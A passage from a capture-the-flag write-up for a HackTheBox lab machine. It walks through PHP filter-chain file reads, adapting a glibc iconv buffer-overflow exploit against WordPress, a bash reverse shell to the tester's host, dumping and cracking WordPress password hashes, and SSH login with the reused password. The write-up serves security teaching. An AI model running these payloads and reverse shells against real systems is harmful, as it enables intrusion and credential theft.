5323f1453a8b2e3857a1053e2cb39ffe7423f0a234366bcaa72b26103a9a66a8
oxdf@hacky$  docker exec -it 5323f1453a8b2e3857a1053e2cb39ffe7423f0a234366bcaa72b26103a9a66a8 bash
root@5323f1453a8b:/var/www/html#

I’ll get the path of a GIF:

root@5323f1453a8b:/var/www/html# find / -name '*.gif' 2>/dev/null | head
/usr/share/apache2/icons/pie7.gif
/usr/share/apache2/icons/tar.gif
/usr/share/apache2/icons/link.gif
/usr/share/apache2/icons/forward.gif
/usr/share/apache2/icons/transfer.gif
/usr/share/apache2/icons/broken.gif
/usr/share/apache2/icons/alert.red.gif
/usr/share/apache2/icons/burst.gif
/usr/share/apache2/icons/pie1.gif
/usr/share/apache2/icons/ball.red.gif
image-20250130171504266

It works! That reads a file from the host system and copies it onto the webserver.

Read With wrapwrap

Knowing that works, I’ll try to read /etc/hostname:

image-20250130171652463

It’s failing because the magic bytes for the file don’t match that of a GIF.

I can try things like filters to base64, but unless the resulting data starts with “GIF87a” or “GIF89a” (see a list of file signatures), it’s going to return that same error.

The same author that found the buffer overflow in glibc had earlier written a tool named wrapwrap that uses PHP filters to prefix data. In the example, if data is fetched and then parsed as JSON, you can prefix it with {"<key>": " and a suffix of "} to get the data to process correctly. Here, I can prepend the GIF magic bytes.

I’ll use wrapwrap to append the six-byte magic to the front of /etc/hosts:

oxdf@hacky$ python wrapwrap.py /etc/hosts "GIF89a" "" 1000
[!] Ignoring nb_bytes value since there is no suffix
[+] Wrote filter chain to chain.txt (size=1443).
oxdf@hacky$ cat chain.txt 
php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource=/etc/hosts

The last parameter is a length to read before putting the suffix, but since there’s no suffix, it ignores that as well.

I’ll pass that chain as the url parameter and send again:

image-20250131065212064

Now that file has the hosts file:

oxdf@hacky$ curl http://blog.bigbang.htb/wp-content/uploads/2025/01/1-7.png -o-
GIF89a127.0.0.1 localhost
::1     localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.17.0.3      bf9a078

It starts with the “GIF89a” which I can ignore.

I’m also a little suspicious of that hostname, which seems short for a Docker container. I would have expected 12 characters, and it’s seven. I think the last six characters (five missing in hostname plus trailing newline) might have been lost somehow in the filtering. To test this, I’ll re-run wrapwrap with a longer prefix:

oxdf@hacky$ python wrapwrap.py /etc/hosts "GIF89a0xdf" "" 1000
[!] Ignoring nb_bytes value since there is no suffix
[+] Wrote filter chain to chain.txt (size=2619).
oxdf@hacky$ cat chain.txt 
php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource=/etc/hosts

After sending that, the resulting image has six more characters of prefix (not exactly sure why “MM” was added after “0xdf”, but filters are weird), and six less characters of the file:

oxdf@hacky$ curl http://blog.bigbang.htb/wp-content/uploads/2025/01/1-8.png -o-
GIF89a0xdfMM127.0.0.1   localhost
::1     localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.17.0.3      b

This is worth keeping in mind for this file read that I seem to lose the trailing n characters, where n is the number of characters prepended.

I’ll also note that if the filename changes but the prefix doesn’t, the chain from wrapwrap doesn’t change either, other than the end where it says source=[filename]. This saves me from having to run it over and over.

Modify Exploit

There’s a POC skeleton script here. I’ll download this and save it as exploit.py. It’s using the Python ten exploitation framework, which uses classes and decorators to define the exploit.

In theory, I only need to update the Remote class to handle uploading and reading files in the send and download functions:

image-20250131113812442

It’s not super clear to me why these two functions are split up, when really the requirement is to read a file from the system. It looks like send is only used in download and to send final payload that triggers the buffer overflow (without actually reading back the response).

I’ll update them to match what is present on BigBang:

    def send(self, path: str) -> Response:
        """Sends given `path` to the HTTP server. Returns the response.
        """
        url = f"{self.url}/wp-admin/admin-ajax.php"
        data = {"action": "upload_image_from_url", "url": tf.qs.encode(path), "id": 1, "accepted_files": "image/gif"}
        return self.session.post(url, data=data)
        
    def download(self, path: str) -> bytes:
        """Returns the contents of a remote file.
        """
        gif_chain = "php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource="
        response = self.send(f"{gif_chain}{path}")
        url = response.json()["response"]
        if not url.startswith("http"):
            return b""
        content = self.session.get(url).content
        return content[6:]

It’s using the GIF wrapwrap chain to put the GIF magic bytes on the front, and then removing the first six bytes in the response. I’m using the ten framework’s tf.qs.encode since it’s already imported, but urllib.parse.quote_plus would do the same thing.

To run this with uv, I’ll need to add ten and pwntools to the metadata:

oxdf@hacky$ uv add --script exploit.py ten pwntools
Updated `exploit.py`

When I run this, it fails:

oxdf@hacky$ uv run exploit.py http://blog.bigbang.htb id
Installed 44 packages in 248ms
[-] Remote.download did not return the test string
--------------------
Expected test string: b'9rzfYbh2F2EnQ9pIaQE5gfFUEf2SN0cFIqfGBri52hlWAKXE0y'
Got: b'9rzfYbh2F2EnQ9pIaQE5gfFUEf2SN0cFIqfGBri52hlWAKXE'
--------------------
[-] If your code works fine, it means that the data:// wrapper does not work

It’s doing a test to make sure it can pass in and read data, and the end of the resulting string is truncated! That is almost certainly due to my adding the GIF magic. I’ll update this check to allow for truncation in the result (original left in commented out):

        #if text not in result:
        if not text.startswith(result):
            msg_failure("Remote.download did not return the test string")
            print("--------------------")
            print(f"Expected test string: {text}")
            print(f"Got: {result}")
            print("--------------------")
            failure("If your code works fine, it means that the [i]data://[/] wrapper does not work")

There’s a check_token function just a few lines above that one, which needs updating as well:

        def check_token(text: str, path: str) -> bool:
            result = safe_download(path)
            #return text.encode() == result
            return text.encode().startswith(result)

Now, there’s another very long error:

oxdf@hacky$ uv run exploit.py http://blog.bigbang.htb id
[*] The data:// wrapper works
[*] The php://filter/ wrapper works
[*] The zlib extension is enabled
[+] Exploit preconditions are satisfied
[*] Potential heaps: 0x7f1d73600040, 0x7f1d73400040, 0x7f1d73000040, 0x7f1d71c00040, 0x7f1d6f800040, 0x7f1d6f000040, 0x7f1d6e400040, 0x7f1d6de00040, 0x7f1d6da00040 (using first)
[x] ELFParseError expected 8, found 2
...[snip]...
│ /media/sf_CTFs/hackthebox/bigbang-10.10.11.52/exploit.py:242 in run                              │
│                                                                                                  │
│   239 │                                                                                          │
│   240 │   def run(self) -> None:                                                                 │
│   241 │   │   self.check_vulnerable()                                                            │
│ ❱ 242 │   │   self.get_symbols_and_addresses()                                                   │
│   243 │   │   self.exploit()                                                                     │
│   244 │                                                                                          │
│   245 │   def build_exploit_path(self) -> str:                                                   │
│                                                                                                  │
│ /media/sf_CTFs/hackthebox/bigbang-10.10.11.52/exploit.py:197 in get_symbols_and_addresses        │
│                                                                                                  │
│   194 │   │                                                                                      │
│   195 │   │   self.download_file(libc.path, LIBC_FILE)                                           │
│   196 │   │                                                                                      │
│ ❱ 197 │   │   self.info["libc"] = ELF(LIBC_FILE, checksec=False)                                 │
...[snip]...
ELFParseError: expected 8, found 2

When it’s trying to read the downloaded LIBC file, it’s failing with the message “expected 8, found 2”. This has to do with the fact that the last six bytes are truncated from LIBC in downloading it.

There’s a download_file function that’s only called once to get LIBC:

        self.download_file(libc.path, LIBC_FILE)

I’ll update that to include six null bytes and hope that doesn’t mess anything up:

    def download_file(self, remote_path: str, local_path: str) -> None:
        """Downloads `remote_path` to `local_path`"""
        # data = self.get_file(remote_path)
        data = self.get_file(remote_path) + b"\x00" * 6
        Path(local_path).write(data)

The next crash is a decoding error:

oxdf@hacky$ uv run exploit.py http://blog.bigbang.htb id
[*] The data:// wrapper works
[*] The php://filter/ wrapper works
[*] The zlib extension is enabled
[+] Exploit preconditions are satisfied
[x] UnicodeDecodeError 'utf-8' codec can't decode byte 0x80 in position 69770: invalid start byte
...[snip]...
│ /media/sf_CTFs/hackthebox/bigbang-10.10.11.52/exploit.py:156 in get_regions                      │
│                                                                                                  │
│   153 │   def get_regions(self) -> list[Region]:                                                 │
│   154 │   │   """Obtains the memory regions of the PHP process by querying /proc/self/maps."""   │
│   155 │   │   maps = self.get_file("/proc/self/maps")                                            │
│ ❱ 156 │   │   maps = maps.decode()                                                               │
│   157 │   │   PATTERN = re.compile(                                                              │
│   158 │   │   │   r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)"             │
│   159 │   │   )                                                                                  │
╰──────────────────────────────────────────────────────────────────────────────────────────────────╯
UnicodeDecodeError: 'utf-8' codec can't decode byte 0x80 in position 69770: invalid start byte

The maps file should be all ASCII, so I’ll just update that line to maps = maps.decode(errors='ignore'). Sometimes (unpredictably) there’s some junk at the end of the maps file read, and it fails to match the pattern that’s parsing each time. I’ll update get_regions to just drop the last line each time:

    def get_regions(self) -> list[Region]:
        """Obtains the memory regions of the PHP process by querying /proc/self/maps."""
        maps = self.get_file("/proc/self/maps")
        maps = '\n'.join(maps.decode(errors='ignore').split('\n')[:-1])

Now it works!

oxdf@hacky$ uv run exploit.py http://blog.bigbang.htb id
[*] The data:// wrapper works
[*] The php://filter/ wrapper works
[*] The zlib extension is enabled
[+] Exploit preconditions are satisfied
[*] Potential heaps: 0x7f1d73600040, 0x7f1d73400040, 0x7f1d71c00040, 0x7f1d6f800040, 0x7f1d6f400040, 0x7f1d6ea00040, 0x7f1d6e000040 (using first)

     EXPLOIT  SUCCESS 

There’s no output, so the exploit must be blind. I’ll try again with curl:

oxdf@hacky$ uv run exploit.py http://blog.bigbang.htb 'curl http://10.10.14.6/owned'
[*] The data:// wrapper works
[*] The php://filter/ wrapper works
[*] The zlib extension is enabled
[+] Exploit preconditions are satisfied
[*] Potential heaps: 0x7f1d73600040, 0x7f1d73400040, 0x7f1d71e00040, 0x7f1d6f600040, 0x7f1d6f000040, 0x7f1d6e600040, 0x7f1d6dc00040 (using first)

     EXPLOIT  SUCCESS

There’s a request at my webserver:

10.10.11.52 - - [31/Jan/2025 12:37:08] code 404, message File not found
10.10.11.52 - - [31/Jan/2025 12:37:08] "GET /owned HTTP/1.1" 404 -

Shell

I’ll run the exploit again, this time with a bash reverse shell:

oxdf@hacky$ uv run exploit.py http://blog.bigbang.htb 'bash -c "bash -i >& /dev/tcp/10.10.14.6/443 0>&1"'
[*] The data:// wrapper works
[*] The php://filter/ wrapper works
[*] The zlib extension is enabled
[+] Exploit preconditions are satisfied
[*] Potential heaps: 0x7f1d73600040, 0x7f1d73400040, 0x7f1d73000040, 0x7f1d72c00040, 0x7f1d71e00040, 0x7f1d6f400040, 0x7f1d6ee00040, 0x7f1d6e400040, 0x7f1d6da00040 (using first)

     EXPLOIT  SUCCESS 

When it completes, I get a shell:

oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.52 41526
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@bf9a078a3627:/var/www/html/wordpress/wp-admin$ 

I’ll upgrade with the standard trick:

www-data@bf9a078a3627:/var/www/html/wordpress/wp-admin$ script /dev/null -c bash
<w/html/wordpress/wp-admin$ script /dev/null -c bash    
Script started, output log file is '/dev/null'.
www-data@bf9a078a3627:/var/www/html/wordpress/wp-admin$ ^Z
[1]+  Stopped                 nc -lnvp 443
oxdf@hacky$ stty raw -echo; fg
nc -lnvp 443
reset
reset: unknown terminal type unknown
Terminal type? screen
www-data@bf9a078a3627:/var/www/html/wordpress/wp-admin$ 

Shell as shawking

Enumeration

Container

The host running WordPress is Debian, as identified above:

www-data@bf9a078a3627:/$ cat /etc/os-release 
PRETTY_NAME="Debian GNU/Linux 12 (bookworm)"
NAME="Debian GNU/Linux"
VERSION_ID="12"
VERSION="12 (bookworm)"
VERSION_CODENAME=bookworm
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"

The hostname is bf9a078a3627, which is likely randomly generated by Docker. There’s also a .dockerenv file in the system root:

www-data@bf9a078a3627:/$ ls -a 
.   .dockerenv  boot  etc   lib    media  opt   root  sbin  sys  usr
..  bin         dev   home  lib64  mnt    proc  run   srv   tmp  var

ipconfig and ip are not installed on the container, but the fib_trie file shows the IP is 172.17.0.3:

www-data@bf9a078a3627:/$ cat proc/net/fib_trie
Main:
  +-- 0.0.0.0/0 3 0 5
     |-- 0.0.0.0
        /0 universe UNICAST
     +-- 127.0.0.0/8 2 0 2
        +-- 127.0.0.0/31 1 0 0
           |-- 127.0.0.0
              /8 host LOCAL
           |-- 127.0.0.1
              /32 host LOCAL
        |-- 127.255.255.255
           /32 link BROADCAST
     +-- 172.17.0.0/16 2 0 2
        +-- 172.17.0.0/30 2 0 2
           |-- 172.17.0.0
              /16 link UNICAST
           |-- 172.17.0.3
              /32 host LOCAL
        |-- 172.17.255.255
           /32 link BROADCAST
Local:
  +-- 0.0.0.0/0 3 0 5
     |-- 0.0.0.0
        /0 universe UNICAST
     +-- 127.0.0.0/8 2 0 2
        +-- 127.0.0.0/31 1 0 0
           |-- 127.0.0.0
              /8 host LOCAL
           |-- 127.0.0.1
              /32 host LOCAL
        |-- 127.255.255.255
           /32 link BROADCAST
     +-- 172.17.0.0/16 2 0 2
        +-- 172.17.0.0/30 2 0 2
           |-- 172.17.0.0
              /16 link UNICAST
           |-- 172.17.0.3
              /32 host LOCAL
        |-- 172.17.255.255
           /32 link BROADCAST

There are no users in /home.

Web

The WordPress installation is in /var/www/html/wordpress:

www-data@bf9a078a3627:/var/www/html/wordpress$ ls
index.php        wp-blog-header.php    wp-cron.php        wp-mail.php
license.txt      wp-comments-post.php  wp-includes        wp-settings.php
readme.html      wp-config-sample.php  wp-links-opml.php  wp-signup.php
wp-activate.php  wp-config.php         wp-load.php        wp-trackback.php
wp-admin         wp-content            wp-login.php       xmlrpc.php

The wp-config.php file has the database connection information:

<?php
/**
...[snip]...
 */

// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** Database username */
define( 'DB_USER', 'wp_user' );

/** Database password */
define( 'DB_PASSWORD', 'wp_password' );

/** Database hostname */
define( 'DB_HOST', '172.17.0.1' );

/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

/**#@+
 * Authentication unique keys and salts.
 *
 * Change these to different unique phrases! You can generate these using
 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
 *
 * You can change these at any point in time to invalidate all existing cookies.
 * This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define( 'AUTH_KEY',         '(6xl?]9=.f9(<(yxpm9]5<wKsyEc+y&MV6CjjI(0lR2)_6SWDnzO:[g98nOOPaeK' );
define( 'SECURE_AUTH_KEY',  'F<3>KtCm^zs]Mxm Rr*N:&{SWQexFn@ wnQ+bTN5UCF-<gMsT[mH$m))T>BqL}%8' );
define( 'LOGGED_IN_KEY',    ':{yhPsf}tZRfMAut2$Fcne/.@Vs>uukS&JB04 Yy3{`$`6p/Q=d^9=ZpkfP,o%l]' );
define( 'NONCE_KEY',        'sC(jyKu>gY(,&: KS#Jh7x?/CB.hy8!_QcJhPGf@3q<-a,D#?!b}h8 ao;g[<OW;' );
define( 'AUTH_SALT',        '_B& tL]9I?ddS! 0^_,4M)B>aHOl{}e2P(l3=!./]~v#U>dtF7zR=~LnJtLgh&KK' );
define( 'SECURE_AUTH_SALT', '<Cqw6ztRM/y?eGvMzY(~d?:#]v)em`.H!SWbk.7Fj%b@Te<r^^Vh3KQ~B2c|~VvZ' );
define( 'LOGGED_IN_SALT',   '_zl+LT[GqIV{*Hpv>]H:<U5oO[w:]?%Dh(s&Tb-2k`1!WFqKu;elq7t^~v7zS{n[' );
define( 'NONCE_SALT',       't2~PvIO1qeCEa^+J}@h&x<%u~Ml{=0Orqe]l+DD7S}%KP}yi(6v$mHm4cjsK,vCZ' );

/**#@-*/

/**
 * WordPress database table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';

/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://wordpress.org/documentation/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );

/* Add any custom values between this line and the "stop editing" line. */



/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
        define( 'ABSPATH', __DIR__ . '/' );
}

/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';

Database

mysql client isn’t installed on the box. I could tunnel 172.17.0.1 port 3306 through to my host with something like Chisel, but I’m going to go with an alternative approach. ChatGPT wrote me a quick PHP script to query the database based on what I have from the config:

<?php
if ($argc < 2) {
    die("Usage: php script.php \"SQL_QUERY\"\n");
}

$query = $argv[1];
$host = '172.17.0.1';
$user = 'wp_user';
$password = 'wp_password';
$database = 'wordpress'; // Change this if needed
$conn = new mysqli($host, $user, $password, $database);

if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error . "\n");
}

$result = $conn->query($query);
if ($result === false) {
    die("Query error: " . $conn->error . "\n");
}
if ($result instanceof mysqli_result) {
    while ($row = $result->fetch_assoc()) {
        echo json_encode($row, JSON_PRETTY_PRINT) . "\n";
    }
    $result->free();
} else {
    echo "Query executed successfully.\n";
}
$conn->close();
?>

It takes a query as an argument, connects to the DB and runs it, and prints the results. I’ll upload this to the container:

www-data@bf9a078a3627:/dev/shm$ wget 10.10.14.6/sql.php
--2025-01-31 18:14:36--  http://10.10.14.6/sql.php
Connecting to 10.10.14.6:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 718 [application/octet-stream]
Saving to: 'sql.php'
                                                           
sql.php             100%[===================>]     718  --.-KB/s    in 0s

2025-01-31 18:14:36 (45.2 MB/s) - 'sql.php' saved [718/718]

It works:

www-data@bf9a078a3627:/dev/shm$ php sql.php 'show databases;'
{
    "Database": "information_schema"        
}
{
    "Database": "performance_schema"                
}
{                                           
    "Database": "wordpress"
}

The only interesting database is wordpress. It has a few tables:

www-data@bf9a078a3627:/dev/shm$ php sql.php 'show tables;'
{                                                       
    "Tables_in_wordpress": "wp_commentmeta"         
}                                                          
{
    "Tables_in_wordpress": "wp_comments"               
}
{                                        
    "Tables_in_wordpress": "wp_links"         
}                                           
{                                                   
    "Tables_in_wordpress": "wp_options"                    
}
{
    "Tables_in_wordpress": "wp_postmeta"
}
{
    "Tables_in_wordpress": "wp_posts"
}
{
    "Tables_in_wordpress": "wp_term_relationships"
}
{
    "Tables_in_wordpress": "wp_term_taxonomy"
}
{
    "Tables_in_wordpress": "wp_termmeta"
}
{
    "Tables_in_wordpress": "wp_terms"
}
{
    "Tables_in_wordpress": "wp_usermeta"
}
{
    "Tables_in_wordpress": "wp_users"
}

wp_users is the most interesting. I’ll dump it:

www-data@bf9a078a3627:/dev/shm$ php sql.php 'select * from wp_users;'
{
    "ID": "1",
    "user_login": "root",
    "user_pass": "$P$Beh5HLRUlTi1LpLEAstRyXaaBOJICj1",
    "user_nicename": "root",
    "user_email": "root@bigbang.htb",
    "user_url": "http:\/\/blog.bigbang.htb",
    "user_registered": "2024-05-31 13:06:58",
    "user_activation_key": "",
    "user_status": "0",
    "display_name": "root"
}
{
    "ID": "3",
    "user_login": "shawking",
    "user_pass": "$P$Br7LUHG9NjNk6\/QSYm2chNHfxWdoK.\/",
    "user_nicename": "shawking",
    "user_email": "shawking@bigbang.htb",
    "user_url": "",
    "user_registered": "2024-06-01 10:39:55",
    "user_activation_key": "",
    "user_status": "0",
    "display_name": "Stephen Hawking"
}

There are two users, root and shawking, each with hashes.

SSH

Crack Password

I’ll save both hashes to a file:

root:$P$Beh5HLRUlTi1LpLEAstRyXaaBOJICj1
shawking:$P$Br7LUHG9NjNk6/QSYm2chNHfxWdoK./

I’ll pass them to hashcat with the --user flag as the username is included:

$ hashcat wphashes rockyou.txt --user
hashcat (v6.2.6) starting in autodetect mode
...[snip]...
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

400 | phpass | Generic KDF
...[snip]...
$P$Br7LUHG9NjNk6/QSYm2chNHfxWdoK./:quantumphysics          
...[snip]...

It does all of rockyou.txt in about 20 seconds on my host. It found the password for shawking:

$ hashcat wphashes --show --user
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

400 | phpass | Generic KDF

NOTE: Auto-detect is best effort. The correct hash-mode is NOT guaranteed!
Do NOT report auto-detect issues unless you are certain of the hash type.

shawking:$P$Br7LUHG9NjNk6/QSYm2chNHfxWdoK./:quantumphysics

Shell

I’ll use SSH to see if that same password is reused for SSH:

oxdf@hacky$ sshpass -p 'quantumphysics' ssh shawking@bigbang.htb
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-130-generic x86_64)
...[snip]...
shawking@bigbang:~$

Disclaimer - I like to use sshpass to pass passwords via the command line for CTF blog posts because it makes it very clear what I’m doing. Never enter real credentials into the command line like this.

And grab user.txt:

shawking@bigbang:~$ cat user.txt
ad2f85e7************************

Shell as developer

Enumeration

Users

shawking cannot run sudo:

shawking@bigbang:~$ sudo -l
[sudo] password for shawking: 
Sorry, user shawking may not run sudo on bigbang.

There’s one other user with a home directory, developer:

shawking@bigbang:/home$ ls
developer  shawking

That matches users with shells set in passwd:

shawking@bigbang:~$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
shawking:x:1001:1001:Stephen Hawking,,,:/home/shawking:/bin/bash
developer:x:1002:1002:,,,:/home/developer:/bin/bash

(During the first week, there was another user, george in passwd, but they were just a left over artifact and removed in the 10 February 2025 update to BigBang).

Listening Ports

There are two interesting ports listening on only local host:

shawking@bigbang:/$ netstat -tnl
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 172.17.0.1:3306         0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:9090          0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:42571         0.0.0.0:*               LISTEN
tcp6       0      0 :::22                   :::*                    LISTEN
tcp6       0      0 :::80                   :::*                    LISTEN 

I’ll want to check out ports 3000 and 9090.

Satellite App

Port 9090 doesn’t return anything useful:

shawking@bigbang:~$ curl localhost:9090 -v
*   Trying 127.0.0.1:9090...
* Connected to localhost (127.0.0.1) port 9090 (#0)
> GET / HTTP/1.1
> Host: localhost:9090
> User-Agent: curl/7.81.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 404 NOT FOUND
< Server: Werkzeug/3.0.3 Python/3.10.12
< Date: Fri, 31 Jan 2025 19:53:52 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 207
< Connection: close
< 
<!doctype html>
<html lang=en>
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
* Closing connection 0

The response headers show that it is Python. I could forward port 9090 through to my host using SSH tunnels and brute force directories on this, but I won’t need to. Looking at Python processes in the process list, this is likely /root/satellite/app.py:

shawking@bigbang:~$ ps auxww | grep python
